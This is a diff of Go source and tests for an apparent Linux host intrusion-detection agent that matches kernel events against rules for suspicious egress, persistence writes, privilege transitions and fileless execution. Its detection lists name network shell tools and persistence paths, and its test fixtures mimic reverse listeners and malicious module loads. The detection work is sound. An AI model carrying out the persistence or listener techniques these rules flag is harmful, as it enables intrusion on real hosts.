parts = append(parts, e.Path)
|
||||
parts = append(parts, e.Argv...)
|
||||
return strings.TrimSpace(strings.Join(parts, " "))
|
||||
}
|
||||
|
||||
// UnmarshalJSON accepts the same compatibility aliases as Python ruleops:
|
||||
// type/event, remote/bind endpoint names, numeric strings, singular capability,
|
||||
// and module name. Defaults of -1 for absent target IDs are semantically
|
||||
// significant because zero means a requested root transition.
|
||||
func (e *HostEvent) UnmarshalJSON(raw []byte) error {
|
||||
var values map[string]any
|
||||
if err := json.Unmarshal(raw, &values); err != nil {
|
||||
return err
|
||||
}
|
||||
e.TargetUID, e.TargetGID = -1, -1
|
||||
e.Event = stringValue(firstValue(values, "event", "type"))
|
||||
e.PID = integerValue(values["pid"], 0)
|
||||
e.PPID = integerValue(values["ppid"], 0)
|
||||
e.UID = integerValue(values["uid"], 0)
|
||||
e.Comm = stringValue(values["comm"])
|
||||
e.ParentComm = stringValue(values["parent_comm"])
|
||||
e.Path = stringValue(values["path"])
|
||||
e.Argv = stringSlice(values["argv"])
|
||||
e.PeerIP = stringValue(firstValue(values, "peer_ip", "remote_ip"))
|
||||
e.PeerPort = integerValue(firstValue(values, "peer_port", "remote_port"), 0)
|
||||
e.LocalIP = stringValue(firstValue(values, "local_ip", "bind_ip", "listen_ip"))
|
||||
e.LocalPort = integerValue(firstValue(values, "local_port", "bind_port", "listen_port"), 0)
|
||||
e.TargetUID = integerValue(firstValue(values, "target_uid", "uid_target"), -1)
|
||||
e.TargetGID = integerValue(firstValue(values, "target_gid", "gid_target"), -1)
|
||||
e.Mode = integerValue(values["mode"], 0)
|
||||
e.Capabilities = stringSlice(firstValue(values, "capabilities", "caps", "cap_effective"))
|
||||
if len(e.Capabilities) == 0 {
|
||||
if capability := stringValue(values["capability"]); capability != "" {
|
||||
e.Capabilities = []string{capability}
|
||||
}
|
||||
}
|
||||
for index := range e.Capabilities {
|
||||
e.Capabilities[index] = strings.ToUpper(e.Capabilities[index])
|
||||
}
|
||||
e.ModuleName = stringValue(firstValue(values, "module_name", "name"))
|
||||
return nil
|
||||
}
|
||||
|
||||
func firstValue(values map[string]any, keys ...string) any {
|
||||
for _, key := range keys {
|
||||
if value, ok := values[key]; ok && value != nil && stringValue(value) != "" {
|
||||
return value
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func stringValue(value any) string {
|
||||
if value == nil {
|
||||
return ""
|
||||
}
|
||||
if text, ok := value.(string); ok {
|
||||
return text
|
||||
}
|
||||
return fmt.Sprint(value)
|
||||
}
|
||||
|
||||
func integerValue(value any, fallback int) int {
|
||||
if value == nil {
|
||||
return fallback
|
||||
}
|
||||
switch typed := value.(type) {
|
||||
case float64:
|
||||
return int(typed)
|
||||
case int:
|
||||
return typed
|
||||
case string:
|
||||
text := strings.TrimSpace(strings.ToLower(typed))
|
||||
if strings.HasPrefix(text, "0o") {
|
||||
parsed, err := strconv.ParseInt(text[2:], 8, 64)
|
||||
if err == nil {
|
||||
return int(parsed)
|
||||
}
|
||||
}
|
||||
parsed, err := strconv.ParseInt(text, 0, 64)
|
||||
if err == nil {
|
||||
return int(parsed)
|
||||
}
|
||||
}
|
||||
return fallback
|
||||
}
|
||||
|
||||
func stringSlice(value any) []string {
|
||||
if text, ok := value.(string); ok {
|
||||
if text == "" {
|
||||
return []string{}
|
||||
}
|
||||
return []string{text}
|
||||
}
|
||||
items, ok := value.([]any)
|
||||
if !ok {
|
||||
return []string{}
|
||||
}
|
||||
result := make([]string, 0, len(items))
|
||||
for _, item := range items {
|
||||
result = append(result, stringValue(item))
|
||||
}
|
||||
return result
|
||||
}
|
||||
201
go-agent/internal/events/host_rules.go
Normal file
201
go-agent/internal/events/host_rules.go
Normal file
|
|
@ -0,0 +1,201 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package events
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/netutil"
|
||||
)
|
||||
|
||||
type HostRule struct {
|
||||
SID int
|
||||
Message string
|
||||
Severity string
|
||||
Classtype string
|
||||
Events map[string]bool
|
||||
Comms map[string]bool
|
||||
ParentComms map[string]bool
|
||||
PeerPublic *bool
|
||||
PeerPorts map[int]bool
|
||||
PeerPortExclude map[int]bool
|
||||
LocalPorts map[int]bool
|
||||
LocalPortExclude map[int]bool
|
||||
PathPrefixes []string
|
||||
TargetUIDs map[int]bool
|
||||
TargetGIDs map[int]bool
|
||||
CapabilitiesAny map[string]bool
|
||||
ModuleNames map[string]bool
|
||||
ArgvRegex string
|
||||
compiled *regexp.Regexp
|
||||
}
|
||||
|
||||
func NewHostRule(rule HostRule) (HostRule, error) {
|
||||
if len(rule.Events) == 0 {
|
||||
return HostRule{}, fmt.Errorf("rule sid=%d has no event types", rule.SID)
|
||||
}
|
||||
if len(rule.Comms) == 0 && len(rule.ParentComms) == 0 && rule.PeerPublic == nil &&
|
||||
len(rule.PeerPorts) == 0 && len(rule.PeerPortExclude) == 0 &&
|
||||
len(rule.LocalPorts) == 0 && len(rule.LocalPortExclude) == 0 &&
|
||||
len(rule.PathPrefixes) == 0 && len(rule.TargetUIDs) == 0 &&
|
||||
len(rule.TargetGIDs) == 0 && len(rule.CapabilitiesAny) == 0 &&
|
||||
len(rule.ModuleNames) == 0 && rule.ArgvRegex == "" {
|
||||
return HostRule{}, fmt.Errorf("rule sid=%d has no match conditions", rule.SID)
|
||||
}
|
||||
if rule.ArgvRegex != "" {
|
||||
compiled, err := regexp.Compile("(?i)" + rule.ArgvRegex)
|
||||
if err != nil {
|
||||
return HostRule{}, fmt.Errorf("rule sid=%d argv_regex: %w", rule.SID, err)
|
||||
}
|
||||
rule.compiled = compiled
|
||||
}
|
||||
return rule, nil
|
||||
}
|
||||
|
||||
func (r HostRule) Matches(event HostEvent) bool {
|
||||
if !r.Events[event.Event] || len(r.Comms) > 0 && !r.Comms[event.Comm] ||
|
||||
len(r.ParentComms) > 0 && !r.ParentComms[event.ParentComm] {
|
||||
return false
|
||||
}
|
||||
if r.PeerPublic != nil && netutil.IsPublicIP(event.PeerIP) != *r.PeerPublic {
|
||||
return false
|
||||
}
|
||||
if len(r.PeerPorts) > 0 && !r.PeerPorts[event.PeerPort] ||
|
||||
r.PeerPortExclude[event.PeerPort] ||
|
||||
len(r.LocalPorts) > 0 && !r.LocalPorts[event.LocalPort] ||
|
||||
r.LocalPortExclude[event.LocalPort] {
|
||||
return false
|
||||
}
|
||||
if len(r.PathPrefixes) > 0 && !pathMatches(event.Path, r.PathPrefixes) {
|
||||
return false
|
||||
}
|
||||
if len(r.TargetUIDs) > 0 && !r.TargetUIDs[event.TargetUID] ||
|
||||
len(r.TargetGIDs) > 0 && !r.TargetGIDs[event.TargetGID] ||
|
||||
len(r.ModuleNames) > 0 && !r.ModuleNames[event.ModuleName] {
|
||||
return false
|
||||
}
|
||||
if len(r.CapabilitiesAny) > 0 {
|
||||
matched := false
|
||||
for _, capability := range event.Capabilities {
|
||||
if r.CapabilitiesAny[strings.ToUpper(capability)] {
|
||||
matched = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !matched {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return r.compiled == nil || r.compiled.MatchString(event.ArgvString())
|
||||
}
|
||||
|
||||
func (r HostRule) Alert(event HostEvent) model.Alert {
|
||||
capabilities := strings.Join(event.Capabilities, ",")
|
||||
mode := "-"
|
||||
if event.Mode != 0 {
|
||||
mode = fmt.Sprintf("0o%o", event.Mode)
|
||||
}
|
||||
module := event.ModuleName
|
||||
if module == "" {
|
||||
module = "-"
|
||||
}
|
||||
displayCaps := capabilities
|
||||
if displayCaps == "" {
|
||||
displayCaps = "-"
|
||||
}
|
||||
return model.Alert{
|
||||
SID: r.SID, Severity: r.Severity,
|
||||
Signature: "host_rule." + r.Classtype, Classtype: r.Classtype,
|
||||
Key: fmt.Sprintf(
|
||||
"host:%d:%s:%d:%s:%d:%s:%d:%s:%d:%d:%d:%s:%s",
|
||||
r.SID, event.Event, event.PID, event.PeerIP, event.PeerPort,
|
||||
event.LocalIP, event.LocalPort, event.Path, event.TargetUID,
|
||||
event.TargetGID, event.Mode, capabilities, event.ModuleName),
|
||||
Detail: fmt.Sprintf(
|
||||
"sid=%d %s - pid=%d ppid=%d comm=%s event=%s peer=%s:%d local=%s:%d path=%s target_uid=%d target_gid=%d mode=%s capabilities=%s module=%s",
|
||||
r.SID, r.Message, event.PID, event.PPID, event.Comm, event.Event,
|
||||
event.PeerIP, event.PeerPort, event.LocalIP, event.LocalPort,
|
||||
event.Path, event.TargetUID, event.TargetGID, mode, displayCaps, module),
|
||||
PIDs: []int{event.PID},
|
||||
}
|
||||
}
|
||||
|
||||
type HostRuleEngine struct{ Rules []HostRule }
|
||||
|
||||
func DefaultHostRuleEngine() HostRuleEngine {
|
||||
public := true
|
||||
specifications := []HostRule{
|
||||
{SID: 100067, Message: "Interpreter connected to an unusual public port", Severity: "HIGH", Classtype: "suspicious-egress", Events: stringSet([]string{"tcp_connect"}), Comms: hostInterpreters, PeerPublic: &public, PeerPortExclude: commonPublicPorts},
|
||||
{SID: 100068, Message: "Interpreter opened a listener on an unusual local port", Severity: "HIGH", Classtype: "suspicious-listener", Events: stringSet([]string{"listen"}), Comms: hostInterpreters, LocalPortExclude: commonPublicPorts},
|
||||
{SID: 100073, Message: "Interpreter bound an unusual local port", Severity: "HIGH", Classtype: "suspicious-bind", Events: stringSet([]string{"bind"}), Comms: hostInterpreters, LocalPortExclude: commonPublicPorts},
|
||||
{SID: 100069, Message: "Interpreter wrote to a persistence path", Severity: "HIGH", Classtype: "persistence-write", Events: stringSet([]string{"file_write"}), Comms: hostInterpreters, PathPrefixes: persistencePrefixes},
|
||||
{SID: 100070, Message: "Permissions or ownership changed on a persistence path", Severity: "HIGH", Classtype: "persistence-permission-change", Events: stringSet([]string{"chmod", "chown"}), PathPrefixes: persistencePrefixes},
|
||||
{SID: 100071, Message: "Interpreter requested a root UID transition", Severity: "HIGH", Classtype: "privilege-transition", Events: stringSet([]string{"setuid"}), Comms: hostInterpreters, TargetUIDs: intSet([]int{0})},
|
||||
{SID: 100072, Message: "Interpreter requested a root GID transition", Severity: "HIGH", Classtype: "privilege-transition", Events: stringSet([]string{"setgid"}), Comms: hostInterpreters, TargetGIDs: intSet([]int{0})},
|
||||
{SID: 100076, Message: "Interpreter accepted inbound traffic on an unusual local port", Severity: "HIGH", Classtype: "suspicious-accept", Events: stringSet([]string{"accept"}), Comms: hostInterpreters, PeerPublic: &public, LocalPortExclude: commonPublicPorts},
|
||||
{SID: 100077, Message: "Interpreter requested sensitive Linux capabilities", Severity: "HIGH", Classtype: "capability-escalation", Events: stringSet([]string{"capset"}), Comms: hostInterpreters, CapabilitiesAny: sensitiveCapabilities},
|
||||
{SID: 100078, Message: "Kernel module load requested from a writable runtime path", Severity: "CRITICAL", Classtype: "suspicious-module-load", Events: stringSet([]string{"module_load"}), PathPrefixes: writableRuntimePrefixes},
|
||||
}
|
||||
rules := make([]HostRule, 0, len(specifications))
|
||||
for _, specification := range specifications {
|
||||
rule, err := NewHostRule(specification)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
rules = append(rules, rule)
|
||||
}
|
||||
return HostRuleEngine{Rules: rules}
|
||||
}
|
||||
|
||||
func (e HostRuleEngine) Match(event HostEvent) []model.Alert {
|
||||
alerts := make([]model.Alert, 0)
|
||||
for _, rule := range e.Rules {
|
||||
if rule.Matches(event) {
|
||||
alerts = append(alerts, rule.Alert(event))
|
||||
}
|
||||
}
|
||||
return alerts
|
||||
}
|
||||
|
||||
var hostInterpreterNames = strings.Fields(
|
||||
"sh bash dash zsh ksh ash python python2 python3 perl ruby php lua " +
|
||||
"node nodejs nc ncat netcat socat curl wget fetch")
|
||||
var hostInterpreters = stringSet(hostInterpreterNames)
|
||||
|
||||
// HostInterpreterComms returns the process names used by typed host rules.
|
||||
// Kernel sources use the same list for in-BPF prefiltering.
|
||||
func HostInterpreterComms() []string {
|
||||
return append([]string(nil), hostInterpreterNames...)
|
||||
}
|
||||
|
||||
var commonPublicPorts = intSet([]int{22, 53, 80, 123, 443, 853})
|
||||
var persistencePrefixes = []string{
|
||||
"/etc/cron.d/", "/etc/crontab", "/etc/systemd/system/",
|
||||
"/etc/ld.so.preload", "/root/.ssh/authorized_keys",
|
||||
"/etc/sudoers", "/etc/sudoers.d/",
|
||||
}
|
||||
var writableRuntimePrefixes = []string{"/tmp/", "/var/tmp/", "/dev/shm/", "/run/user/"}
|
||||
var sensitiveCapabilities = stringSet([]string{
|
||||
"CAP_SYS_ADMIN", "CAP_SYS_MODULE", "CAP_SYS_PTRACE",
|
||||
"CAP_DAC_READ_SEARCH", "CAP_NET_ADMIN", "CAP_NET_RAW",
|
||||
})
|
||||
|
||||
func intSet(values []int) map[int]bool {
|
||||
result := make(map[int]bool, len(values))
|
||||
for _, value := range values {
|
||||
result[value] = true
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func pathMatches(path string, prefixes []string) bool {
|
||||
for _, prefix := range prefixes {
|
||||
if path == prefix || strings.HasPrefix(path, prefix) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
90
go-agent/internal/events/host_rules_test.go
Normal file
90
go-agent/internal/events/host_rules_test.go
Normal file
|
|
@ -0,0 +1,90 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package events
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestHostEventCompatibilityAliases(t *testing.T) {
|
||||
var event HostEvent
|
||||
raw := []byte(`{"type":"accept","pid":"42","remote_ip":"8.8.8.8","remote_port":"51515","bind_ip":"0.0.0.0","bind_port":"4444","target_uid":"0","mode":"0o777","capability":"cap_sys_admin","name":"evil"}`)
|
||||
if err := json.Unmarshal(raw, &event); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if event.Event != "accept" || event.PID != 42 || event.PeerIP != "8.8.8.8" ||
|
||||
event.PeerPort != 51515 || event.LocalPort != 4444 || event.TargetUID != 0 ||
|
||||
event.TargetGID != -1 || event.Mode != 0o777 || event.Capabilities[0] != "CAP_SYS_ADMIN" ||
|
||||
event.ModuleName != "evil" {
|
||||
t.Fatalf("compatibility decode drifted: %#v", event)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDefaultHostRulesMatchAllBuiltins(t *testing.T) {
|
||||
engine := DefaultHostRuleEngine()
|
||||
tests := []struct {
|
||||
event HostEvent
|
||||
sid int
|
||||
}{
|
||||
{HostEvent{Event: "tcp_connect", PID: 1, Comm: "python3", PeerIP: "8.8.8.8", PeerPort: 4444, TargetUID: -1, TargetGID: -1}, 100067},
|
||||
{HostEvent{Event: "listen", PID: 2, Comm: "python3", LocalPort: 4444, TargetUID: -1, TargetGID: -1}, 100068},
|
||||
{HostEvent{Event: "bind", PID: 3, Comm: "python3", LocalPort: 4444, TargetUID: -1, TargetGID: -1}, 100073},
|
||||
{HostEvent{Event: "file_write", PID: 4, Comm: "python3", Path: "/etc/systemd/system/evil.service", TargetUID: -1, TargetGID: -1}, 100069},
|
||||
{HostEvent{Event: "chmod", PID: 5, Comm: "chmod", Path: "/etc/cron.d/evil", Mode: 0o777, TargetUID: -1, TargetGID: -1}, 100070},
|
||||
{HostEvent{Event: "setuid", PID: 6, Comm: "python3", TargetUID: 0, TargetGID: -1}, 100071},
|
||||
{HostEvent{Event: "setgid", PID: 7, Comm: "python3", TargetUID: -1, TargetGID: 0}, 100072},
|
||||
{HostEvent{Event: "accept", PID: 8, Comm: "python3", PeerIP: "8.8.8.8", LocalPort: 4444, TargetUID: -1, TargetGID: -1}, 100076},
|
||||
{HostEvent{Event: "capset", PID: 9, Comm: "python3", Capabilities: []string{"cap_sys_admin"}, TargetUID: -1, TargetGID: -1}, 100077},
|
||||
{HostEvent{Event: "module_load", PID: 10, Comm: "insmod", Path: "/tmp/evil.ko", TargetUID: -1, TargetGID: -1}, 100078},
|
||||
}
|
||||
for _, test := range tests {
|
||||
found := false
|
||||
for _, alert := range engine.Match(test.event) {
|
||||
if alert.SID == test.sid {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("sid %d did not match %#v", test.sid, test.event)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestHostInterpreterCommsReturnsCopy(t *testing.T) {
|
||||
first := HostInterpreterComms()
|
||||
if len(first) == 0 {
|
||||
t.Fatal("interpreter list must not be empty")
|
||||
}
|
||||
original := first[0]
|
||||
first[0] = "mutated"
|
||||
if HostInterpreterComms()[0] != original {
|
||||
t.Fatal("caller mutated shared interpreter list")
|
||||
}
|
||||
}
|
||||
|
||||
func TestHostRulesRejectCommonOrPrivateNetworkShapes(t *testing.T) {
|
||||
engine := DefaultHostRuleEngine()
|
||||
for _, event := range []HostEvent{
|
||||
{Event: "tcp_connect", Comm: "python3", PeerIP: "8.8.8.8", PeerPort: 443},
|
||||
{Event: "tcp_connect", Comm: "python3", PeerIP: "10.0.0.2", PeerPort: 4444},
|
||||
{Event: "listen", Comm: "python3", LocalPort: 80},
|
||||
} {
|
||||
if alerts := engine.Match(event); len(alerts) != 0 {
|
||||
t.Fatalf("benign network shape matched: %#v", alerts)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestHostAlertContract(t *testing.T) {
|
||||
event := HostEvent{
|
||||
Event: "chmod", PID: 42, PPID: 1, UID: 0, Comm: "chmod",
|
||||
Path: "/etc/cron.d/evil", TargetUID: -1, TargetGID: -1, Mode: 0o777,
|
||||
}
|
||||
alert := DefaultHostRuleEngine().Match(event)[0]
|
||||
if alert.Key != "host:100070:chmod:42::0::0:/etc/cron.d/evil:-1:-1:511::" ||
|
||||
!strings.Contains(alert.Detail, "mode=0o777 capabilities=- module=-") {
|
||||
t.Fatalf("unexpected host alert: %#v", alert)
|
||||
}
|
||||
}
|
||||
121
go-agent/internal/events/pipeline.go
Normal file
121
go-agent/internal/events/pipeline.go
Normal file
|
|
@ -0,0 +1,121 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package events
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"strings"
|
||||
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
|
||||
)
|
||||
|
||||
type EventKind string
|
||||
|
||||
const (
|
||||
ExecKind EventKind = "exec"
|
||||
SyscallKind EventKind = "syscall"
|
||||
HostKind EventKind = "host"
|
||||
)
|
||||
|
||||
// RuleSet is the transport-independent destination for every live or replayed
|
||||
// kernel event. A cilium/ebpf source only needs to decode into these records;
|
||||
// it does not need to know rule details or alert schemas.
|
||||
type RuleSet struct {
|
||||
Exec ExecRuleEngine
|
||||
Syscall SyscallRuleEngine
|
||||
Host HostRuleEngine
|
||||
}
|
||||
|
||||
func NewRuleSet(exec ExecRuleEngine) RuleSet {
|
||||
return RuleSet{
|
||||
Exec: exec, Syscall: DefaultSyscallRuleEngine(), Host: DefaultHostRuleEngine(),
|
||||
}
|
||||
}
|
||||
|
||||
func (r RuleSet) MatchJSON(raw []byte) ([]model.Alert, error) {
|
||||
kind, err := eventKind(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
switch kind {
|
||||
case ExecKind:
|
||||
var event ExecEvent
|
||||
if err := json.Unmarshal(raw, &event); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return r.Exec.Match(event), nil
|
||||
case SyscallKind:
|
||||
var event SyscallEvent
|
||||
if err := json.Unmarshal(raw, &event); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return r.Syscall.Match(event), nil
|
||||
case HostKind:
|
||||
var event HostEvent
|
||||
if err := json.Unmarshal(raw, &event); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return r.Host.Match(event), nil
|
||||
default:
|
||||
return nil, fmt.Errorf("event JSON must be an exec, syscall, or host event")
|
||||
}
|
||||
}
|
||||
|
||||
func eventKind(raw []byte) (EventKind, error) {
|
||||
var values map[string]any
|
||||
if err := json.Unmarshal(raw, &values); err != nil {
|
||||
return "", err
|
||||
}
|
||||
explicit := strings.ToLower(stringValue(firstValue(values, "event", "type")))
|
||||
switch explicit {
|
||||
case "exec", "execve":
|
||||
return ExecKind, nil
|
||||
case "syscall", "sys":
|
||||
return SyscallKind, nil
|
||||
case "tcp_connect", "bind", "listen", "accept", "file_write",
|
||||
"chmod", "chown", "setuid", "setgid", "capset", "module_load":
|
||||
return HostKind, nil
|
||||
}
|
||||
if _, ok := values["filename"]; ok {
|
||||
return ExecKind, nil
|
||||
}
|
||||
if _, ok := values["argv"]; ok {
|
||||
return ExecKind, nil
|
||||
}
|
||||
if _, ok := values["parent_comm"]; ok {
|
||||
return ExecKind, nil
|
||||
}
|
||||
if _, ok := values["syscall"]; ok {
|
||||
return SyscallKind, nil
|
||||
}
|
||||
if _, ok := values["args"]; ok {
|
||||
return SyscallKind, nil
|
||||
}
|
||||
return "", fmt.Errorf("event JSON must be an exec, syscall, or host event")
|
||||
}
|
||||
|
||||
// ScanJSONL feeds non-empty lines to the matcher callback with line-numbered
|
||||
// errors. Scanner capacity is raised for long argv or future module metadata.
|
||||
func ScanJSONL(reader io.Reader, consume func([]byte) error) error {
|
||||
scanner := bufio.NewScanner(reader)
|
||||
scanner.Buffer(make([]byte, 64*1024), 1024*1024)
|
||||
line := 0
|
||||
for scanner.Scan() {
|
||||
line++
|
||||
raw := bytesTrimSpace(scanner.Bytes())
|
||||
if len(raw) == 0 {
|
||||
continue
|
||||
}
|
||||
if err := consume(raw); err != nil {
|
||||
return fmt.Errorf("event stream line %d: %w", line, err)
|
||||
}
|
||||
}
|
||||
return scanner.Err()
|
||||
}
|
||||
|
||||
func bytesTrimSpace(value []byte) []byte {
|
||||
return []byte(strings.TrimSpace(string(value)))
|
||||
}
|
||||
45
go-agent/internal/events/pipeline_test.go
Normal file
45
go-agent/internal/events/pipeline_test.go
Normal file
|
|
@ -0,0 +1,45 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package events
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestRuleSetMatchesCompatibilityJSON(t *testing.T) {
|
||||
rules := NewRuleSet(DefaultExecRuleEngine())
|
||||
tests := []struct {
|
||||
raw string
|
||||
sid int
|
||||
}{
|
||||
{`{"type":"execve","pid":"42","ppid":"1","uid":"1000","parent_comm":"nginx","filename":"/bin/sh","argv":["-c","id"]}`, 100003},
|
||||
{`{"type":"sys","pid":"43","comm":"loader","syscall":"mprotect","args":["0x1000","0x1000",0],"arg2":"0x6"}`, 100060},
|
||||
{`{"type":"listen","pid":"44","comm":"python3","listen_ip":"0.0.0.0","listen_port":"4444"}`, 100068},
|
||||
}
|
||||
for _, test := range tests {
|
||||
alerts, err := rules.MatchJSON([]byte(test.raw))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
found := false
|
||||
for _, alert := range alerts {
|
||||
if alert.SID == test.sid {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("sid %d did not match %s: %#v", test.sid, test.raw, alerts)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestScanJSONLReportsLine(t *testing.T) {
|
||||
err := ScanJSONL(strings.NewReader("\n{}\n"), func(raw []byte) error {
|
||||
_, err := NewRuleSet(DefaultExecRuleEngine()).MatchJSON(raw)
|
||||
return err
|
||||
})
|
||||
if err == nil || !strings.Contains(err.Error(), "line 2") {
|
||||
t.Fatalf("missing line context: %v", err)
|
||||
}
|
||||
}
|
||||
42
go-agent/internal/events/syscall_event.go
Normal file
42
go-agent/internal/events/syscall_event.go
Normal file
|
|
@ -0,0 +1,42 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package events
|
||||
|
||||
import "encoding/json"
|
||||
|
||||
// SyscallEvent is the transport-neutral security telemetry consumed by the
|
||||
// syscall rules. Unsupplied arguments decode as zero, matching Python's
|
||||
// dataclass defaults and the partial fixtures accepted by rule operations.
|
||||
type SyscallEvent struct {
|
||||
PID int `json:"pid"`
|
||||
PPID int `json:"ppid"`
|
||||
UID int `json:"uid"`
|
||||
Comm string `json:"comm"`
|
||||
Syscall string `json:"syscall"`
|
||||
Args [6]uint64 `json:"args"`
|
||||
Text string `json:"text"`
|
||||
}
|
||||
|
||||
func (e *SyscallEvent) UnmarshalJSON(raw []byte) error {
|
||||
var values map[string]any
|
||||
if err := json.Unmarshal(raw, &values); err != nil {
|
||||
return err
|
||||
}
|
||||
e.PID = integerValue(values["pid"], 0)
|
||||
e.PPID = integerValue(values["ppid"], 0)
|
||||
e.UID = integerValue(values["uid"], 0)
|
||||
e.Comm = stringValue(values["comm"])
|
||||
e.Syscall = stringValue(values["syscall"])
|
||||
e.Text = stringValue(values["text"])
|
||||
if args, ok := values["args"].([]any); ok {
|
||||
for index := 0; index < len(args) && index < len(e.Args); index++ {
|
||||
e.Args[index] = uint64(integerValue(args[index], 0))
|
||||
}
|
||||
}
|
||||
for index, key := range []string{"arg0", "arg1", "arg2", "arg3", "arg4", "arg5"} {
|
||||
if value, ok := values[key]; ok {
|
||||
e.Args[index] = uint64(integerValue(value, int(e.Args[index])))
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
123
go-agent/internal/events/syscall_rules.go
Normal file
123
go-agent/internal/events/syscall_rules.go
Normal file
|
|
@ -0,0 +1,123 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package events
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
|
||||
)
|
||||
|
||||
const (
|
||||
protWrite = 0x2
|
||||
protExec = 0x4
|
||||
ptraceTrace = 0
|
||||
ptraceAttach = 16
|
||||
ptraceSeize = 0x4206
|
||||
prSetSeccomp = 22
|
||||
)
|
||||
|
||||
type syscallPredicate func(SyscallEvent) bool
|
||||
|
||||
type SyscallRule struct {
|
||||
SID int
|
||||
Message string
|
||||
Severity string
|
||||
Classtype string
|
||||
Syscalls map[string]bool
|
||||
Predicate syscallPredicate
|
||||
}
|
||||
|
||||
func (r SyscallRule) Matches(event SyscallEvent) bool {
|
||||
return r.Syscalls[event.Syscall] && r.Predicate(event)
|
||||
}
|
||||
|
||||
func (r SyscallRule) Alert(event SyscallEvent) model.Alert {
|
||||
detail := fmt.Sprintf(
|
||||
"sid=%d %s — pid=%d ppid=%d comm=%s syscall=%s args=[%#x, %#x, %#x, %#x]",
|
||||
r.SID, r.Message, event.PID, event.PPID, event.Comm, event.Syscall,
|
||||
event.Args[0], event.Args[1], event.Args[2], event.Args[3])
|
||||
if event.Text != "" {
|
||||
detail += " text=[" + truncateRunes(event.Text, 80) + "]"
|
||||
}
|
||||
return model.Alert{
|
||||
SID: r.SID, Severity: r.Severity,
|
||||
Signature: "syscall_rule." + r.Classtype, Classtype: r.Classtype,
|
||||
Key: fmt.Sprintf("syscall:%d:%d:%s:%x:%x",
|
||||
r.SID, event.PID, event.Syscall, event.Args[0], event.Args[2]),
|
||||
Detail: detail, PIDs: []int{event.PID},
|
||||
}
|
||||
}
|
||||
|
||||
type SyscallRuleEngine struct {
|
||||
Rules []SyscallRule
|
||||
}
|
||||
|
||||
func DefaultSyscallRuleEngine() SyscallRuleEngine {
|
||||
return SyscallRuleEngine{Rules: []SyscallRule{
|
||||
{
|
||||
SID: 100060, Message: "mprotect made memory writable and executable",
|
||||
Severity: "CRITICAL", Classtype: "memory-obfuscation",
|
||||
Syscalls: stringSet([]string{"mprotect"}),
|
||||
Predicate: func(event SyscallEvent) bool { return protectedWX(event.Args[2]) },
|
||||
},
|
||||
{
|
||||
SID: 100061, Message: "mmap requested writable and executable memory",
|
||||
Severity: "CRITICAL", Classtype: "memory-obfuscation",
|
||||
Syscalls: stringSet([]string{"mmap"}),
|
||||
Predicate: func(event SyscallEvent) bool { return protectedWX(event.Args[2]) },
|
||||
},
|
||||
{
|
||||
SID: 100062, Message: "memfd_create used for anonymous in-memory file staging",
|
||||
Severity: "MEDIUM", Classtype: "fileless-execution",
|
||||
Syscalls: stringSet([]string{"memfd_create"}), Predicate: alwaysSyscall,
|
||||
},
|
||||
{
|
||||
SID: 100063, Message: "ptrace anti-debug or attach operation observed",
|
||||
Severity: "HIGH", Classtype: "anti-analysis",
|
||||
Syscalls: stringSet([]string{"ptrace"}),
|
||||
Predicate: func(event SyscallEvent) bool {
|
||||
request := event.Args[0]
|
||||
return request == ptraceTrace || request == ptraceAttach || request == ptraceSeize
|
||||
},
|
||||
},
|
||||
{
|
||||
SID: 100064,
|
||||
Message: "seccomp sandboxing call observed (possible anti-analysis hardening)",
|
||||
Severity: "MEDIUM", Classtype: "anti-analysis",
|
||||
Syscalls: stringSet([]string{"prctl", "seccomp"}),
|
||||
Predicate: func(event SyscallEvent) bool {
|
||||
return event.Syscall == "seccomp" || event.Args[0] == prSetSeccomp
|
||||
},
|
||||
},
|
||||
{
|
||||
SID: 100065, Message: "cross-process memory read/write syscall observed",
|
||||
Severity: "HIGH", Classtype: "credential-access",
|
||||
Syscalls: stringSet([]string{"process_vm_readv", "process_vm_writev"}),
|
||||
Predicate: alwaysSyscall,
|
||||
},
|
||||
{
|
||||
SID: 100066,
|
||||
